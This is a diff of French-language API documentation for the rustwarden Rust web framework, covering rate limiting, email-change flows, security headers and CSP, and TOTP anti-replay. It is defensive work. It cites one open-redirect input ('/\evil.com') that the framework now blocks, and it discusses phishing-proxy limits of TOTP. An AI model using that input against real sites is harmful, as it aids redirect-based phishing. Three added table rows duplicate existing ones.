| 255 | +plus de 30 jours. Comme `PersonalTokenCleanupProcessor` et | |
| 256 | +`PasswordChangeCleanupProcessor`, **`app.rs` ne le demarre pas** : | |
| 257 | + | |
| 258 | +```rust | |
| 259 | +use rustwarden_core::prelude::PendingEmailChangeCleanupProcessor; | |
| 260 | + | |
| 261 | +PendingEmailChangeCleanupProcessor::new(db.clone()).start(); | |
| 262 | +``` | |
| 263 | + | |
| 264 | +Retention en constante de code, aucune variable d'environnement. Sans ce | |
| 265 | +demarrage, une purge opportuniste limitee a l'utilisateur courant s'execute a | |
| 266 | +chaque nouvelle demande. | |
| 267 | + | |
| 268 | +> ⚠️ **Ce que la confirmation deconnecte** : `confirm_change` revoque **tous** | |
| 269 | +> les refresh tokens du compte. L'utilisateur qui confirme depuis sa nouvelle | |
| 270 | +> boite est deconnecte partout et doit se reconnecter avec la **nouvelle** | |
| 271 | +> adresse. Dites-le dans l'ecran qui ouvre la demande. | |
| 272 | +> | |
| 273 | +> ⚠️ **Le signalement n'annule rien** : le lien envoye a l'ancienne adresse | |
| 274 | +> alerte les administrateurs et trace en `audit_logs`, il ne bloque pas le | |
| 275 | +> changement. C'est un choix explicite — un attaquant qui controle l'ancienne | |
| 276 | +> boite ne doit pas pouvoir bloquer une reprise de controle legitime. | |
| 277 | +> | |
| 278 | +> ⚠️ **Recours perdu** : un utilisateur qui a perdu **a la fois** son mot de | |
| 279 | +> passe et l'acces a son adresse courante ne se debloque plus seul ; c'est un | |
| 280 | +> `admin_force_change` apres verification d'identite hors bande. La faute de | |
| 281 | +> frappe a l'**inscription** releve du meme recours : `register` ecrit l'adresse | |
| 282 | +> saisie sans double verification, hors perimetre de la RFC 0041. | |
| 283 | + | |
| 284 | +### `Username` (value object) | |
| 285 | + | |
| 286 | +**Module** : `rustwarden_core::types::username` | |
| 287 | +**Export** : prelude | |
| 288 | +**RFC** : [0036](rfcs/0036-username-charset-validation.md) — depuis **1.1.0** | |
| 289 | + | |
| 290 | +Newtype valide pour un identifiant de connexion local, calque sur [`TeamSlug`](#teamslug-value-object). | |
| 291 | + | |
| 292 | +| Methode | Signature | Description | | |
| 293 | +|---------|-----------|-------------| | |
| 294 | +| `parse` | `(raw: &str) → Result<Username, AppError>` | Valide charset, longueur, tirets **et** noms reserves. `AppError::Validation` (400) sinon. | | |
| 295 | +| `as_str` | `(&self) → &str` | Vue empruntee. | | |
| 296 | +| `into_inner` | `(self) → String` | Consomme le newtype (a passer a `create_user`). | | |
| 297 | + | |
| 298 | +Derive `Debug, Clone, Eq, PartialEq, Hash, Serialize, Deserialize` (`#[serde(transparent)]`) et implemente `Display`. | |
| 299 | + | |
| 300 | +**Regles appliquees par `parse`** : | |
| 301 | + | |
| 302 | +| Regle | Detail | | |
| 303 | +|-------|--------| | |
| 304 | +| Longueur | 3 a 39 caracteres, mesures **apres `trim()`** | | |
| 305 | +| Charset | `[a-z0-9-]` uniquement | | |
| 306 | +| Majuscules | **Rejetees**, jamais repliees — `Alice` echoue, il ne devient pas `alice` | | |
| 307 | +| Tirets | Ni en tete ni en queue, pas de `--` consecutifs | | |
| 308 | +| Noms reserves | `types::team_slug::RESERVED` + `EXTRA_RESERVED` (`me`, `explore`) | | |
| 309 | + | |
| 310 | +```rust | |
| 311 | +use rustwarden_core::prelude::*; | |
| 312 | + | |
| 313 | +let username = Username::parse("squad-42")?; // Ok | |
| 314 | +assert!(Username::parse("Alice").is_err()); // majuscule → refus, pas de fold | |
| 315 | +assert!(Username::parse("john_doe").is_err()); // underscore hors charset | |
| 316 | +assert!(Username::parse("me").is_err()); // nom reserve | |
| 317 | + | |
| 318 | +UserService::create_user(&db, username.into_inner(), email, password_hash, true).await?; | |
| 319 | +``` | |
| 320 | + | |
| 321 | +**Chemin bootstrap** : `Username::parse_allow_reserved` et | |
| 322 | +`UserService::create_user_allow_reserved` sont `pub(crate)` et reserves a | |
| 323 | +`ensure_default_admin` (pour que `ADMIN_USERNAME=admin` continue de booter). | |
| 324 | +Ils appliquent toujours charset et longueur — un `ADMIN_USERNAME` avec une | |
| 325 | +majuscule ou un `_` fait **echouer le boot** sur le chemin de creation de l'admin. | |
| 326 | + | |
| 327 | +**Usernames OAuth** : `OAuthService::generate_unique_username` produit deja des | |
| 328 | +candidats conformes (minuscules `[a-z0-9]`, base tronquee a 30 caracteres, | |
| 329 | +suffixes `-NNN` / `-user` / `-<hex8>`). | |
| 330 | + | |
| 331 | +**A retirer cote consommateur** : tout newtype `Username` / `validate_username()` | |
| 332 | +local — `grep -rni "struct Username\|validate_username" src/`. | |
| 333 | + | |
| 158 | 334 | --- |
| 159 | 335 | |
| 160 | 336 | ## 4. Authentification |
@@ -167,13 +343,51 @@ Verification des credentials avec protection contre le timing attack (SEC-C1).
| 167 | 343 | |
| 168 | 344 | | Methode | Signature | Description | |
| 169 | 345 | |---------|-----------|-------------| |
| 170 | -| `verify_credentials` | `(db, username: &str, password: &str) → Result<user::Model>` | Verifie les identifiants. Utilise un **dummy hash** si l'utilisateur n'existe pas pour eviter les timing attacks. | | |
| 171 | -| `authenticate_user` | `(db, username: &str, password: &str) → Result<user::Model>` | Authentification de haut niveau. Appelle `verify_credentials` et logue si `must_change_password`. | | |
| 346 | +Le parametre `identifier` accepte indifferemment un **username ou un email** (lookup par email s'il contient `@`). | |
| 347 | + | |
| 348 | +| Methode | Signature | Description | | |
| 349 | +|---------|-----------|-------------| | |
| 350 | +| `verify_credentials` | `(db, identifier: &str, password: &str) → Result<user::Model>` | Primitive **mot de passe seul**. Utilise un **dummy hash** si l'utilisateur n'existe pas pour eviter les timing attacks. **N'applique pas** la politique e-mail verifie — a reserver aux re-authentifications (re-prompt avant setup TOTP). | | |
| 351 | +| `authenticate_user` | `(db, identifier: &str, password: &str) → Result<user::Model>` | Porte d'authentification complete. Appelle `verify_credentials`, logue si `must_change_password`, puis **applique la politique e-mail verifie** (RFC 0040, depuis 1.1.0). | | |
| 172 | 352 | |
| 173 | 353 | **Securite** : |
| 174 | 354 | - `DUMMY_HASH` : hash bcrypt pre-calcule utilise quand le username n'existe pas. Le temps de reponse est identique qu'il y ait ou non un utilisateur correspondant (SEC-C1). |
| 175 | 355 | - `mask_username()` : masque les usernames dans les logs (affiche uniquement le premier tiers des caracteres). |
| 176 | 356 | |
| 357 | +#### Politique « e-mail verifie » (RFC 0040, depuis 1.1.0) | |
| 358 | + | |
| 359 | +Le controle vivait dans le **handler** `POST /api/v1/auth/login` ; il a ete | |
| 360 | +**deplace dans `authenticate_user`**, pour qu'une app qui appelle le service | |
| 361 | +directement (SSR maison, handler custom) ne puisse plus le contourner. | |
| 362 | + | |
| 363 | +| Aspect | Valeur | | |
| 364 | +|--------|--------| | |
| 365 | +| Reglage | `validation_email_required` (alias legacy `validation_email_requise`), lu via `AppSettingsService::get_bool_with_fallback` | | |
| 366 | +| Defaut | `true` — **fail-closed** : une erreur de lookup vaut « verification requise » | | |
| 367 | +| Erreur | `AppError::Validation` → **HTTP 400**, message francais destine a l'utilisateur final (inchange depuis 1.0.1) | | |
| 368 | +| Ordre | Mot de passe verifie **d'abord** → pas d'oracle « compte existant mais non verifie » | | |
| 369 | +| Audit | Ligne `audit_logs` ecrite (`action = "login_blocked"`) via `AuthLoggingService::log_blocked_login` | | |
| 370 | +| Hook | ⚠️ `on_audit_event` / `auth.login_blocked` **n'est plus emis** sur ce chemin (`hooks = None`, decision v1). Une alerte branchee sur ce hook doit basculer sur `audit_logs`. | | |
| 371 | + | |
| 372 | +```rust | |
| 373 | +use rustwarden_core::services::auth_service::AuthService; | |
| 374 | +use rustwarden_core::error::AppError; | |
| 375 | + | |
| 376 | +match AuthService::authenticate_user(&db, &form.username, &form.password).await { | |
| 377 | + Ok(user) => issue_session(user).await, | |
| 378 | + // Message deja redige pour l'utilisateur : proposer « renvoyer l'email ». | |
| 379 | + Err(AppError::Validation(msg)) => render_login_error(&msg, /* show_resend = */ true), | |
| 380 | + Err(AppError::InvalidCredentials) => render_login_error("Identifiants invalides.", false), | |
| 381 | + Err(e) => Err(e), | |
| 382 | +} | |
| 383 | +``` | |
| 384 | + | |
| 385 | +**A retirer cote consommateur** : tout patch local re-verifiant `email_verified` | |
| 386 | +apres `authenticate_user` (double controle = double message d'erreur). | |
| 387 | +`grep -rn "authenticate_user\|email_verified" src/`. | |
| 388 | + | |
| 389 | +Le middleware Tower `auth_service::AuthService` (préfixes protégés) est **fail-closed** depuis 1.0.1 : erreur DB à la blacklist JWT → refus ; utilisateur introuvable → non authentifié ; erreur DB du statut TOTP quand `totp_force_enabled` → **503**. Un JWT encore valide pour un compte supprimé ne traverse plus. | |
| 390 | + | |
| 177 | 391 | ### `AuthUser` (extracteur) |
| 178 | 392 | |
| 179 | 393 | **Module** : `rustwarden_core::auth::extractors` |
@@ -318,7 +532,7 @@ Rate limiting delegue a [`RateLimitService`](#15-rate-limiting) via `check_slidi
| 318 | 532 | | `find_by_token` | `(&self, db, token: &str) → Result<password_change_request::Model>` | Trouve une demande par token (verifie expiration et statut). | |
| 319 | 533 | | `find_pending_by_user_id` | `(&self, db, user_id: Uuid) → Result<Option<Model>>` | Trouve la demande pendante d'un utilisateur. | |
| 320 | 534 | | `cancel_pending_request` | `(&self, db, user_id: Uuid) → Result<()>` | Annule la demande pendante. | |
| 321 | -| `invalidate_on_email_change` | `(&self, db, user_id: Uuid) → Result<u64>` | Invalide les demandes si l'email change (le token a ete envoye a l'ancien email). | | |
| 535 | +| `invalidate_on_email_change` | `(&self, db, user_id: Uuid) → Result<u64>` | Invalide les demandes quand l'adresse change (le token a ete envoye a l'ancienne). **1.1.0** : appele par le core lui-meme dans [`EmailChangeService::confirm_change` et `admin_force_change`](#emailchangeservice) — ne l'appelez plus depuis un handler de profil (RFC 0041). | | |
| 322 | 536 | | `cleanup_expired_requests` | `(&self, db) → Result<u64>` | Nettoie les demandes expirees ou confirmees. | |
| 323 | 537 | | `cleanup_failed_requests` | `(&self, db) → Result<u64>` | Supprime les demandes avec 3+ tentatives echouees. | |
| 324 | 538 |
@@ -332,7 +546,9 @@ Flux "Mot de passe oublie" (reset par email).
| 332 | 546 | |---------|-----------|-------------| |
| 333 | 547 | | `request_reset` | `(&self, db, email: &str) → Result<bool>` | Envoie un email de reset. Retourne `false` si l'utilisateur n'existe pas (pas d'erreur, pour la securite). Rate limited : `check_sliding_window("pwd_reset:{email}", 3, 1h)` → 429 + `Retry-After`. | |
| 334 | 548 | | `validate_token` | `(&self, db, token: &str) → Result<Uuid>` | Valide un token de reset. Retourne le `user_id`. | |
| 335 | -| `reset_password` | `(&self, db, token: &str, new_password: &str) → Result<Uuid>` | Reset le mot de passe. Marque le token comme utilise et **revoque tous les refresh tokens** (SEC-M7). | | |
| 549 | +| `reset_password` | `(&self, db, token: &str, new_password: &str) → Result<Uuid>` | Valide le token, **applique `validate_password_complexity` avant hash / `used_at`** (1.0.1), marque le token utilise et **revoque tous les refresh tokens** (SEC-M7). Un mot de passe trop faible ne consomme plus le token. | | |
| 550 | + | |
| 551 | +`PasswordResetService::new(email_config)` : signature inchangee. Depuis 1.0.1 le rate limiter interne est un **`OnceLock` partage** (plus une nouvelle map par `new()`). Ne pas recreer le service a chaque requete pour « partager » le limiter — c'est deja le cas. `RateLimitService` est `Clone` (Arc) : un `new()` par requete dans un autre service reste un anti-pattern (chaque instance a sa propre map). | |
| 336 | 552 | |
| 337 | 553 | --- |
| 338 | 554 |
@@ -707,7 +923,10 @@ Verification d'email par token.
| 707 | 923 | |
| 708 | 924 | | Methode | Signature | Description | |
| 709 | 925 | |---------|-----------|-------------| |
| 710 | -| `new` | `(config: EmailConfig) → Self` | Constructeur. | | |
| 926 | +| `new` | `(config: EmailConfig) → Self` | Constructeur. Depuis 1.0.1 le rate limiter interne est un **`OnceLock` partage** (signature inchangee). | | |
| 927 | +| `send_validation_email` | `(&self, db, user_id: Uuid) → Result<()>` | Envoie l'email de verification. Invalide les tokens precedents. | | |
| 928 | +| `verify_email` | `(&self, db, token: &str) → Result<Uuid>` | Verifie l'email via le token. Passe `email_verified = true`. Envoie un email de bienvenue. | | |
| 929 | +| `resend_verification` | `(&self, db, email: &str) → Result<bool>` | Renvoie l'email de verification. Rate limited : `check_sliding_window("email_verify:{email}", 3, 1h)` → 429 + `Retry-After`. | | |
| 711 | 930 | | `send_validation_email` | `(&self, db, user_id: Uuid) → Result<()>` | Envoie l'email de verification. Invalide les tokens precedents. | |
| 712 | 931 | | `verify_email` | `(&self, db, token: &str) → Result<Uuid>` | Verifie l'email via le token. Passe `email_verified = true`. Envoie un email de bienvenue. | |
| 713 | 932 | | `resend_verification` | `(&self, db, email: &str) → Result<bool>` | Renvoie l'email de verification. Rate limited : `check_sliding_window("email_verify:{email}", 3, 1h)` → 429 + `Retry-After`. | |
@@ -812,25 +1031,27 @@ Rate limiter generique in-process, backing de toutes les limites du framework (a
| 812 | 1031 | | `check` | `(&self, key: &str, max_per_minute: u32) → Result<(), AppError>` | Fixed window 60s. Renvoie `AppError::TooManyRequests { retry_after_secs }` au depassement. | |
| 813 | 1032 | | `check_window` | `(&self, key: &str, max: u32, window: Duration) → Result<(), AppError>` | Idem avec fenetre personnalisable. | |
| 814 | 1033 | | `check_sliding_window` | `(&self, key: &str, max: u32, window: Duration) → Result<(), AppError>` | **Sliding window strict** (stocke chaque timestamp). Preferable pour les flux securite sensibles (password reset, email verify). | |
| 815 | -| `cleanup_loop` | `(self, interval: Duration, window: Duration)` async | Tache de fond qui purge les buckets expires sur les deux maps (fixed + sliding). | | |
| 1034 | +| `cleanup_loop` | `(self, interval: Duration, window: Duration)` async | Tache de fond qui purge les buckets expires sur les deux maps (fixed + sliding). **Ne borne pas** le nombre de cles : au plafond `MAX_ENTRIES` (100 000) l'insertion **evince l'entree LRU** au lieu de 429 sur une cle neuve (1.0.1). | | |
| 816 | 1035 | | `len` / `sliding_len` / `is_empty` | | Compteurs exposes pour metrics/tests. | |
| 817 | 1036 | |
| 818 | 1037 | **Cle convention** : `"<scope>:<identifier>"` — ex. `"auth:1.2.3.4"`, `"share:1.2.3.4"`, `"pwd_reset:user@example.com"`, `"import:123e4567-..."`. |
| 819 | 1038 | |
| 820 | 1039 | **AppError::TooManyRequests** : mappe vers HTTP **429** + header `Retry-After: N` + body JSON `{"error","status":429,"retry_after_secs":N}`. |
| 821 | 1040 | |
| 1041 | +`RateLimitService` est `Clone` (interieur `Arc`). **Un `new()` par requete** cree une map vide : la limite n'est jamais atteinte. Les services framework qui doivent limiter (reset, email verify) utilisent un `OnceLock` interne. | |
| 1042 | + | |
| 822 | 1043 | Exemple d'usage pour proteger un endpoint d'import cote app consommateur : |
| 823 | 1044 | ```rust |
| 824 | 1045 | use std::sync::Arc; |
| 825 | 1046 | use rustwarden_core::services::rate_limit_service::RateLimitService; |
| 826 | 1047 | |
| 827 | -// Au demarrage de l'app | |
| 1048 | +// Au demarrage de l'app — une seule instance, pas dans le handler | |
| 828 | 1049 | let limiter = Arc::new(RateLimitService::new()); |
| 829 | 1050 | // Dans un handler |
| 830 | 1051 | limiter.check(&format!("import:{ip}"), 120)?; // 120/min |
| 831 | 1052 | ``` |
| 832 | 1053 | |
| 833 | -Les helpers du middleware [`rate_limit`](#18-middleware-csrf-auth-rate-limit) exposent deja `check_auth_rate_limit(headers)` et `check_public_share_rate_limit(request)`. | |
| 1054 | +Les routes JSON `/api/v1/auth/{login,register,refresh,forgot-password,2fa/verify,resend-verification*}` sont protegees par un **layer** `auth_ip_rate_limit` (ConnectInfo / MockConnectInfo). `check_auth_rate_limit(&HeaderMap)` reste public (signature gelee) mais **ne lit pas ConnectInfo** : a n'utiliser que si vous extrayez deja l'IP, ou pour un fallback headers-only. Un login SSR hors `auth_api_routes()` n'herite pas du layer — il faut le limiter explicitement (helper ou `RateLimitService` partage + IP extraite du `Request`). | |
| 834 | 1055 | |
| 835 | 1056 | > **Integration consommateur** : voir [DEVELOPER.md §15 — Rate limiting et notifications temps-reel](../DEVELOPER.md#rate-limiting-et-notifications-temps-reel) pour l'exemple d'integration dans un handler Axum. |
| 836 | 1057 |
@@ -1072,12 +1293,16 @@ Wrapper pratiques par-dessus `RateLimitService` :
| 1072 | 1293 | |
| 1073 | 1294 | | Helper | Signature | Description | |
| 1074 | 1295 | |--------|-----------|-------------| |
| 1075 | -| `check_auth_rate_limit` | `(&HeaderMap) → Result<(), Response>` | Protege login/register/refresh/oauth-callback. Cle `auth:{ip}`. Configurable via env `RATE_LIMIT_AUTH_PER_MINUTE` (default 10). | | |
| 1076 | -| `check_public_share_rate_limit` | `(&Request) → Result<(), Response>` | Protege les endpoints de public share. Cle `share:{ip}`, 30/min. | | |
| 1296 | +| `check_auth_rate_limit` | `(&HeaderMap) → Result<(), Response>` | Helper **headers-only** (signature `pub` gelee). Cle `auth:{ip}` via `X-Forwarded-For` si `TRUSTED_PROXY_HOPS > 0`, sinon `auth:unknown`. **Ne protege plus** le router JSON : voir layer ci-dessous. Configurable via env `RATE_LIMIT_AUTH_PER_MINUTE` (default 10). | | |
| 1297 | +| `check_public_share_rate_limit` | `(&Request) → Result<(), Response>` | Protege les endpoints de public share. Cle `share:{ip}`, 30/min. Lit ConnectInfo. | | |
| 1077 | 1298 | | `check_public_share_rate_limit_from_headers` | `(&HeaderMap) → Result<(), Response>` | Idem depuis un `HeaderMap` (extractor deja consomme le Request). | |
| 1078 | -| `extract_client_ip` / `extract_client_ip_from_headers` | | IP utilisateur avec support `X-Forwarded-For` (gated par `TRUSTED_PROXY_HOPS`). | | |
| 1299 | +| `extract_client_ip` / `extract_client_ip_from_headers` | | IP utilisateur : `extract_client_ip(&Request)` lit **ConnectInfo puis MockConnectInfo** (tests Axum 0.8), puis XFF. `extract_client_ip_from_headers` ignore ConnectInfo. | | |
| 1079 | 1300 | | `AdminRateLimitConfig::*` | | Layers Tower pre-construits (`admin_limit`, `user_management_limit`, `reset_password_limit`). | |
| 1080 | 1301 | |
| 1302 | +`auth_api_routes()` pose un layer `auth_ip_rate_limit` sur login, register, refresh, forgot-password, **2fa/verify**, resend-verification*. Logout, me, reset-password et verify-email (token) restent hors quota IP. Derriere un reverse proxy, `TRUSTED_PROXY_HOPS` doit etre `>= 1` sinon la cle est l'IP du hop (souvent `127.0.0.1`). | |
| 1303 | + | |
| 1304 | +`RustwardenApp::run()` sert via `into_make_service_with_connect_info::<SocketAddr>()`. Un consommateur qui appelle `axum::serve(listener, router)` **sans** ConnectInfo retombe sur `auth:unknown` (un seul seau pour tout le monde). | |
| 1305 | + | |
| 1081 | 1306 | ### Auth / Admin |
| 1082 | 1307 | |
| 1083 | 1308 | **Module** : `rustwarden_core::middleware` |
@@ -1112,6 +1337,88 @@ Mode d'échec sur préfixe protégé atteint sans credentials valides — `AuthC
| 1112 | 1337 | |
| 1113 | 1338 | Les projets générés par le CLI en mode headless câblent déjà ce router (+ un endpoint protégé d'exemple `whoami` via l'extracteur `AuthUser`). `rustwarden_ui::api_routes()` monte le même set. |
| 1114 | 1339 | |
| 1340 | +Le rate-limit IP du layer s'applique aux routes d'attaque (login, register, refresh, forgot-password, 2fa/verify, resend). Un handler HTML `/login` **hors** ce router n'est pas couvert — à limiter côté app (ConnectInfo ou `extract_client_ip` sur le `Request`). | |
| 1341 | + | |
| 1342 | +### En-tetes de securite (`SecurityHeadersConfig`) | |
| 1343 | + | |
| 1344 | +**Module** : `rustwarden_core::config::security_headers` | |
| 1345 | +**Export** : prelude | |
| 1346 | +**RFC** : [0039](rfcs/0039-security-headers-config.md) — depuis **1.1.0** | |
| 1347 | + | |
| 1348 | +Le middleware `security_headers_middleware` pose les en-tetes de securite sur | |
| 1349 | +**toutes** les reponses. Depuis 1.1.0, la CSP est configurable et COOP/CORP sont | |
| 1350 | +disponibles en opt-in. | |
| 1351 | + | |
| 1352 | +```rust | |
| 1353 | +#[derive(Clone, Debug)] | |
| 1354 | +pub struct SecurityHeadersConfig { | |
| 1355 | + pub content_security_policy: Cow<'static, str>, | |
| 1356 | + pub cross_origin_opener_policy: Option<Cow<'static, str>>, | |
| 1357 | + pub cross_origin_resource_policy: Option<Cow<'static, str>>, | |
| 1358 | +} | |
| 1359 | +``` | |
| 1360 | + | |
| 1361 | +| Element | Signature / valeur | Description | | |
| 1362 | +|---------|--------------------|-------------| | |
| 1363 | +| `SecurityHeadersConfig::default()` | — | CSP = `DEFAULT_CONTENT_SECURITY_POLICY`, COOP/CORP = `None` | | |
| 1364 | +| `with_same_origin_isolation` | `(self) → Self` | Positionne COOP **et** CORP a `same-origin`. La CSP n'est pas touchee. | | |
| 1365 | +| `DEFAULT_CONTENT_SECURITY_POLICY` | `&'static str` | La CSP historique 1.0.1 (avec `'unsafe-inline'` et `'unsafe-eval'`) | | |
| 1366 | +| `CSP_WITHOUT_UNSAFE_EVAL` | `&'static str` | Candidat **Phase 2**, identique au defaut moins `'unsafe-eval'`. **Non utilise** par `Default`. | | |
| 1367 | +| `RustwardenBuilder::security_headers` | `(cfg: SecurityHeadersConfig) → Self` | Override au builder | | |
| 1368 | + | |
| 1369 | +> ✅ **Le defaut est bit-identique a 1.0.1.** Un consommateur qui n'appelle | |
| 1370 | +> jamais `.security_headers(..)` ne voit **aucun** changement d'en-tete — ni | |
| 1371 | +> amelioration automatique, ni regression. Le durcissement du defaut (retrait | |
| 1372 | +> de `'unsafe-eval'`) est une **Phase 2** ulterieure, conditionnee a la migration | |
| 1373 | +> vers la build Alpine CSP ([plans/PLAN_CSP_HTMX.md](plans/PLAN_CSP_HTMX.md)). | |
| 1374 | + | |
| 1375 | +| En-tete | Configurable ? | Defaut | | |
| 1376 | +|---------|----------------|--------| | |
| 1377 | +| `Content-Security-Policy` | **Oui** | `DEFAULT_CONTENT_SECURITY_POLICY` | | |
| 1378 | +| `Cross-Origin-Opener-Policy` | **Oui**, opt-in | non emis (`None`) | | |
| 1379 | +| `Cross-Origin-Resource-Policy` | **Oui**, opt-in | non emis (`None`) | | |
| 1380 | +| `X-Content-Type-Options` | Non | `nosniff` | | |
| 1381 | +| `X-Frame-Options` | Non | `DENY` | | |
| 1382 | +| `X-XSS-Protection` | Non | `0` | | |
| 1383 | +| `Referrer-Policy` | Non | `strict-origin-when-cross-origin` | | |
| 1384 | +| `Permissions-Policy` | Non | `camera=(), microphone=(), geolocation=()` | | |
| 1385 | +| `Strict-Transport-Security` | Non | `max-age=31536000; includeSubDomains`, sauf si `APP_DEBUG=true` | | |
| 1386 | + | |
| 1387 | +```rust | |
| 1388 | +use rustwarden_core::prelude::*; // RustwardenApp, SecurityHeadersConfig | |
| 1389 | + | |
| 1390 | +let app = RustwardenApp::builder() | |
| 1391 | + .from_env() | |
| 1392 | + .security_headers( | |
| 1393 | + SecurityHeadersConfig { | |
| 1394 | + content_security_policy: | |
| 1395 | + "default-src 'self'; script-src 'self'; style-src 'self'; \ | |
| 1396 | + img-src 'self' data:; frame-ancestors 'none'; base-uri 'self'; \ | |
| 1397 | + form-action 'self'" | |
| 1398 | + .into(), | |
| 1399 | + ..SecurityHeadersConfig::default() | |
| 1400 | + } | |
| 1401 | + .with_same_origin_isolation(), | |
| 1402 | + ) | |
| 1403 | + .build() | |
| 1404 | + .await?; | |
| 1405 | +``` | |
| 1406 | + | |
| 1407 | +**Details d'implementation** : | |
| 1408 | + | |
| 1409 | +- la config est capturee dans un `Arc` **a la construction du layer**, pas lue depuis une `Extension` : ce layer est plus externe que les `Extension(...)`, qui ne sont pas encore posees quand la requete le traverse ; | |
| 1410 | +- une CSP invalide (caracteres de controle) **ne panique pas** : fallback sur le defaut + `warn!` ; | |
| 1411 | +- une valeur COOP/CORP invalide fait sauter l'en-tete + `warn!`, sans casser la reponse. | |
| 1412 | + | |
| 1413 | +**Pieges** : une CSP sans `'unsafe-inline'` / `'unsafe-eval'` casse `rustwarden-ui` | |
| 1414 | +(HTMX + build Alpine standard) — a reserver aux apps headless ou a UI maison. | |
| 1415 | +COOP/CORP `same-origin` cassent les integrations cross-origin (iframes, CDN | |
| 1416 | +d'assets, widgets tiers). | |
| 1417 | + | |
| 1418 | +**A retirer cote consommateur** : overlay | |
| 1419 | +`SetResponseHeaderLayer::overriding(CONTENT_SECURITY_POLICY, …)` et tout header | |
| 1420 | +COOP/CORP pose a la main — `grep -rn "SetResponseHeaderLayer" src/`. | |
| 1421 | + | |
| 1115 | 1422 | --- |
| 1116 | 1423 | |
| 1117 | 1424 | ## 19. Utilitaires |
@@ -1141,6 +1448,60 @@ Les projets générés par le CLI en mode headless câblent déjà ce router (+
| 1141 | 1448 | |----------|-----------|-------------| |
| 1142 | 1449 | | `ensure_default_admin` | `(db) → Result<()>` | Cree l'administrateur par defaut au demarrage si aucun admin n'existe. Lit `ADMIN_USERNAME`, `ADMIN_EMAIL`, `ADMIN_PASSWORD`. Appele automatiquement par `build()`. | |
| 1143 | 1450 | |
| 1451 | +`AdminConfig::validate()` (placeholders connus + `PasswordRules`) ne s'applique **que sur le chemin create**. Si un admin existe deja, un `ADMIN_PASSWORD` placeholder ou trop faible **n'empeche plus le boot** (1.0.1). Sans `ADMIN_PASSWORD`, le bootstrap est ignore (pas de generation automatique). Le template CLI `.env.example` n'embarque plus de mot de passe placeholder. | |
| 1452 | + | |
| 1453 | +`AuthConfig` refuse au demarrage un `JWT_SECRET` **egal** (pas un sous-chaine) a un placeholder connu, y compris `REMPLACER_PAR_UNE_CLE_SECRETE_LONGUE`. | |
| 1454 | + | |
| 1455 | +`sanitize_redirect` (middleware auth, query `redirect`) normalise `\` en `/` avant le test `//` — un open redirect `/\evil.com` est bloque (1.0.1). | |
| 1456 | + | |
| 1457 | +### TOTP (2FA) | |
| 1458 | + | |
| 1459 | +**Module** : `rustwarden_core::services::totp_service` | |
| 1460 | + | |
| 1461 | +Depuis 1.0.1, sur le chemin login : | |
| 1462 | + | |
| 1463 | +- `create_challenge` applique un plafond **somme des tentatives** : 15 sur les 15 dernieres minutes par utilisateur (a la place de l'ancien compteur de challenges satures) → `AppError::TotpMaxAttemptsExceeded` ; | |
| 1464 | +- 5 tentatives maximum par challenge, TTL 5 min ; | |
| 1465 | +- `verify_code` : garde anti-rejeu **in-process** (fenetre ±1, TTL 90 s) ; | |
| 1466 | +- codes backup verifies en `spawn_blocking` (bcrypt). | |
| 1467 | + | |
| 1468 | +#### Anti-rejeu persistant `last_used_step` (RFC 0037, depuis 1.1.0) | |
| 1469 | + | |
| 1470 | +> ⚠️ **Migration a jouer** : `m20260918_000010_totp_last_used_step` ajoute | |
| 1471 | +> `user_totp.last_used_step BIGINT NULL`. **Jouer la migration avant de deployer | |
| 1472 | +> le binaire 1.1.0** — un replica sur un schema pre-migration echoue a la | |
| 1473 | +> verification TOTP (fail-closed : l'erreur DB remonte, l'utilisateur ne peut | |
| 1474 | +> plus valider son 2FA). | |
| 1475 | + | |
| 1476 | +`verify_code` **et** `verify_and_enable` consomment desormais le **pas qui a | |
| 1477 | +reellement matche** (`matching_totp_step`, skew ±1 — jamais `now / 30`) via un | |
| 1478 | +compare-and-set SeaORM : | |
| 1479 | + | |
| 1480 | +```sql | |
| 1481 | +UPDATE user_totp | |
| 1482 | + SET last_used_step = $step, updated_at = now() | |
| 1483 | + WHERE user_id = $id | |
| 1484 | + AND (last_used_step IS NULL OR last_used_step < $step) | |
| 1485 | +``` | |
| 1486 | + | |
| 1487 | +Succes ssi `rows_affected == 1`. | |
| 1488 | + | |
| 1489 | +| Aspect | Comportement | | |
| 1490 | +|--------|--------------| | |
| 1491 | +| Rejeu detecte | `Ok(false)` — **identique a un code invalide**, pas d'oracle de rejeu | | |
| 1492 | +| Multi-replicas | Ferme : le CAS SQL est partage, la garde in-process de 1.0.1 ne couvrait qu'un processus | | |
| 1493 | +| `verify_and_enable` | Consomme le pas **avant** de basculer `enabled = true` : le code de setup ne peut pas servir de login immediat | | |
| 1494 | +| Erreur DB | Propagee en `AppError` — **jamais fail-open** | | |
| 1495 | +| Garde in-process | Conservee **apres** le CAS, en defense en profondeur | | |
| 1496 | +| Lignes existantes | `last_used_step IS NULL` = aucun pas consomme depuis la migration → le premier code presente apres migration est toujours accepte | | |
| 1497 | + | |
| 1498 | +**Ce que ca ne couvre pas** : un MITM temps reel (proxy de phishing type | |
| 1499 | +Evilginx) rejoue le code **avant** l'utilisateur legitime et gagne le CAS. Le | |
| 1500 | +TOTP n'est pas phishing-resistant par construction. Voir | |
| 1501 | +[developer-guide/07-security-model.md](developer-guide/07-security-model.md#totp--2fa). | |
| 1502 | + | |
| 1503 | +**A retirer cote consommateur** : tout patch local dupliquant l'anti-rejeu TOTP. | |
| 1504 | + | |
| 1144 | 1505 | --- |
| 1145 | 1506 | |
| 1146 | 1507 | ## 20. Patterns communs |
@@ -1169,7 +1530,7 @@ Toutes les limites passent par [`RateLimitService`](#15-rate-limiting) avec des
| 1169 | 1530 | |
| 1170 | 1531 | | Cle | Limite | Window type | Expose via | |
| 1171 | 1532 | |-----|--------|-------------|------------| |
| 1172 | -| `auth:{ip}` | env `RATE_LIMIT_AUTH_PER_MINUTE` (default 10/min) | Fixed | `check_auth_rate_limit(headers)` | | |
| 1533 | +| `auth:{ip}` | env `RATE_LIMIT_AUTH_PER_MINUTE` (default 10/min) | Fixed | Layer `auth_ip_rate_limit` sur `auth_api_routes()` (ConnectInfo). Helper `check_auth_rate_limit(headers)` = fallback headers-only. | | |
| 1173 | 1534 | | `share:{ip}` | 30/min | Fixed | `check_public_share_rate_limit*` | |
| 1174 | 1535 | | `pwd_change:{user_id}` | 3/hour (config) | Sliding strict | `PasswordChangeService::create_pending_request` | |
| 1175 | 1536 | | `pwd_reset:{email}` | 3/hour | Sliding strict | `PasswordResetService::request_reset` | |
A
docs/UPSTREAM_RUSTWARDEN copy.md
+711
-0
